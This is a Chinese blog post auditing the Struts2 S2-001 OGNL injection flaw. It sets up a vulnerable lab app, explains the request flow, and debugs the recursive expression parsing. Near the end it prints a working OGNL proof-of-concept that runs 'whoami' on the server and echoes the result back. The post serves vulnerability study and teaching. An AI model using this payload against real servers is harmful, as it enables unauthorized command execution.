Java安全代码审计-Struts2

Posted ly0n

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java安全代码审计-Struts2相关的知识,希望对你有一定的参考价值。

前言

Java感觉自己学了和没学差不多,第一次尝试去审计java方面的代码,平常课很多,课下抽时间看的,第一次环境搭建,搞了几个小时,然后第二天审计的时候刚开始自己的思路有点问题,导致第二天也并没有实质性的进展,总共耗时3天半,从头到尾的把漏洞走了一遍,学到了很多,也学习到关于Struts2的知识,感觉很不错的一次代码审计体验。如有错误或者没有解释清楚的地方还望大佬们见谅。

环境搭建

安装tomcat环境,不再演示

具体操作步骤

创建一个Maven项目并勾选Create from archetype,并且选择下面的webapp

项目名称自定义

然后一路next就可以了,等待构建完成。接下来我们分别添加并配置Maven的pom.xml,这里我给出我的这个文件的内容

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>org.example</groupId>
  <artifactId>Struts2</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>war</packaging>

  <name>Struts2 Maven Webapp</name>
  <!-- FIXME change it to the project's website -->
  <url>http://www.example.com</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
  </properties>

  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>org.apache.struts</groupId>
      <artifactId>struts2-core</artifactId>
      <version>2.0.8</version>
    </dependency>
  </dependencies>

  <build>
    <finalName>Struts2</finalName>
    <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
      <plugins>
        <plugin>
          <artifactId>maven-clean-plugin</artifactId>
          <version>3.1.0</version>
        </plugin>
        <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
        <plugin>
          <artifactId>maven-resources-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.8.0</version>
        </plugin>
        <plugin>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>2.22.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-war-plugin</artifactId>
          <version>3.2.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-install-plugin</artifactId>
          <version>2.5.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-deploy-plugin</artifactId>
          <version>2.8.2</version>
        </plugin>
      </plugins>
    </pluginManagement>
    <resources>
      <resource>
        <directory>main/java</directory>
        <includes>
          <include>**/*.xml</include>
        </includes>
      </resource>
    </resources>
  </build>
</project>

然后在idea的右上方

点击之后就可以看到

 然后去配置web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>S2-001 Example</display-name>
  <filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>
  <welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
  </welcome-file-list>
</web-app>

紧接着在main里面创建一个java的资源文件夹

接着创建package文件com.action,在pakeage里面创建一个LoginAction

文件内容

package demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

webapp目录下创建&修改两个文件——index.jsp&welcome.jsp

index.jsp

<%--
  Created by IntelliJ IDEA.
  User: ly0n
  Date: 10/26/21
  Time: 8:09 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
    <s:textfield name="username" label="username" />
    <s:textfield name="password" label="password" />
    <s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

<%--
  Created by IntelliJ IDEA.
  User: ly0n
  Date: 10/26/21
  Time: 8:09 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

然后在main文件夹下创建一个resources文件夹,内部添加一个struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="S2-001" extends="struts-default">
        <action name="login" class="demo.action.LoginAction">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>

创建完成build之后的文件目录

然后配置本地tomcat服务

要选择local

配置好之后点击deployment,添加一个artifacts

 创建完毕后保存配置即可。然后运行

基础知识

Struts2 架构&请求处理流程

 

在该图中,一共给出了四种颜色的标识,其对应的意义如下。

  • Servlet Filters(橙色):过滤器,所有的请求都要经过过滤器的处理。
  • Struts Core(浅蓝色):Struts2的核心部分。
  • Interceptors(浅绿色):Struts2的拦截器。
  • User created(浅黄色):需要开发人员创建的部分。

图中的一些组件的作用如下:

  • FilterDispatcher:是整个Struts2的调度中心,也就是整个MVC架构中的C,它根据ActionMapper的结果来决定是否处理请求。
  • ActionMapper:用来判断传入的请求是否被Struts2处理,如果需要处理的话,ActionMapper就会返回一个对象来描述请求对应的ActionInvocation的信息。
  • ActionProxy:用来创建一个ActionInvocation代理实例,它位于Action和xwork之间。
  • ConfigurationManager:是xwork配置的管理中心,可以把它当做已经读取到内存中的struts.xml配置文件。
  • struts.xml:是Stuts2的应用配置文件,负责诸如URL与Action之间映射的配置、以及执行后页面跳转的Result配置等。
  • ActionInvocation:用来真正的调用并执行Action、拦截器和对应的Result,作用类似于一个调度器。
  • Interceptor:拦截器,可以自动拦截Action,主要在Action运行之前或者Result运行之后来进行执行,开发者可以自定义。
  • Action:是Struts2中的动作执行单元。用来处理用户请求,并封装业务所需要的数据。
  • Result:是不同视图类型的抽象封装模型,不同的视图类型会对应不同的Result实现,Struts2中支持多种视图类型,比如Jsp,FreeMarker等。
  • Templates:各种视图类型的页面模板,比如JSP就是一种模板页面技术。
  • Tag Subsystem:Struts2的标签库,它抽象了三种不同的视图技术JSP、velocity、freemarker,可以在不同的视图技术中,几乎没有差别的使用这些标签。

了解了这些以后我们可以叙述一下是如何处理的一个http请求的:

  • http请求经过一系列的过滤器后,到达最后一个过滤器FilterDispatcher,并将请求转发给ActionMapper
  • ActionMapper判断这个请求是否需要处理,如果需要处理,FilterDispatcher就会去生成一个ActionProxy
  • 此时http请求就到了ConfigurationManage,也就是struts.xml,调用哪一个action处理
  • 通过运行拦截器1,2,3之后运行action,生成一个Result
  • Result根据页面模板和标签库,生成要响应的内容。
  • 根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。

这就是完整的一个http请求的处理过程

OGNL表达式

OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言,使用它可以存取对象的任意属性,调用对象的方法,使用OGNL表达式的主要作用是简化访问对象中的属性值,Struts 2的标签中使用的就是OGNL表达式

 OGNL三要素

OGNL具有三要素:表达式(expression)、根对象(root)和上下文对象(context)。

  • 表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
  • 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境;
  • 上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值;

关于OGNL详细了解文章地址

OGNL表达式注入

漏洞简介

通过我们刚刚总结的关于Struts2请求处理的过程,我们可以清楚的知道,经过过滤器FilterDispatcher将请求转发给ActionMapper被Struts2处理,然后生成一个ActionProxy,ActionProxy拿着http请求去ConfigurationManage。我们可以通过具体代码分析一下。

首先通过web.xml可以看到程序首先会调用org.apache.struts2.dispatcher.FilterDispatcher的dofilter。

会首先获得请求的HttpServletRequest,HttpServletResponse,ServletContext,最后调用dispatcher.serviceAction,跟进这个函数

 这个dispatcher.serviceAction通过createContextMap方法将上面获取到的HttpServletRequest,HttpServletResponse,ServletContext写入extraContext中,然后通过ActionProxy实例化一个proxy代理,然后最后去掉用proxy.execute(),此时这个代理拿着http请求去加载拦截器,查看struts.xml

 

找到默认使用的拦截器栈。

这里我们需要注意的拦截器就是ParametersInterceptor。

这个拦截器会将客户端请求数据设置到值栈中也就是设置到valueStack,跟进到ParametersInterceptor

可以看到已经接收到了传入的用户名%{1+1}

处理完用户逻辑后会调用DefaultActionInvocation 的executeResult处理请求结果

单步调试跟进,会调用result.execute进行处理

省略一些跟进步骤,最后跟进到Servletdispatcherresult

继续调试

 可以看到已经调用的三个栈

继续跟进多次调试后发现已经成功运行处结果,漏洞信息说明造成此次漏洞的是doEndTag,所以肯定是去调用了的,再来调试一次,这次一步一步来。这一次是定位在了这个地方

执行完这些后发现已经输出了2

 显然还没有定位到doEndTag,要想end肯定首先要start,在org/apache/struts2/views/jsp/ComponentTagSupport.java找到doStartTag,下断点

定位到doStartTag,此时的调用栈信息

 跟进doEndTag之后进入end方法

然后会到evaluateParams,跟进

 看到已经变成了%{username},再继续跟进

看输出的结果,成功返回

最后百度别的师傅的复现笔记之后发现我有一点没有关注到,下面就跟着师傅的然后一步一步走

S2-001漏洞分析 - twosmi1e - 博客园

跟进findValue

toType为class java.lang.String 然后返回值的时候去调用了TextParseUtil.translateVariables,跟进

可以看到此时传入expression变成了%{username},跟进返回值translateVariables,源码如下

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;

        while (true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;

            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                	o = evaluator.evaluate(o);
                }
                

                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }

                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }

                    expression = left + o + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

此时的expression是username

进入while循环

通过两个while然后count的值会变为0因为第二个循环的时候到最后一个}满足了else if count就变为了0,跳过了return,进入下一个判断。

然后findValue会返回我们传入的payload

经过下面的判断之后会变为expression的值

 然后再一次循环,此时的expression 就变成了%{1+1}

此次循环就会执行构造的OGNL表达式,可以看到最后执行的结果

原因就在于在translateVariables中,递归解析了表达式,在处理完%{username}后将username的值直接取出,如果我们输出的值依旧满足OGNL表达式就继续在while循环中解析,比如%{1+1},就可以解析执行。

利用poc

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“whoami”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

构造原理

  • #a=(new java.lang.ProcessBuilder(new java.lang.String[]{“whoami”})).redirectErrorStream(true).start(), 声明容器变量
  • #b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),访问容器变量
  • #f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),获取HttpServletResponse Context用于命令执行回显结果
  • #f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()将命令执行结果写入context。

运行结果

参考链接

OGNL表达式注入漏洞总结 [ Mi1k7ea ]

Struts2 连载系列:S2-001漏洞分析 - 云+社区 - 腾讯云

S2-001漏洞分析 - twosmi1e - 博客园

以上是关于Java安全代码审计-Struts2的主要内容,如果未能解决你的问题,请参考以下文章

java源代码安全审计

代码安全审计工具

Java代码审计之不安全的Java代码

Java代码审计

一本真正入门级别的Java代码安全审计专业技术图书上架啦!

[ 代码审计篇 ] Java web 代码审计 详解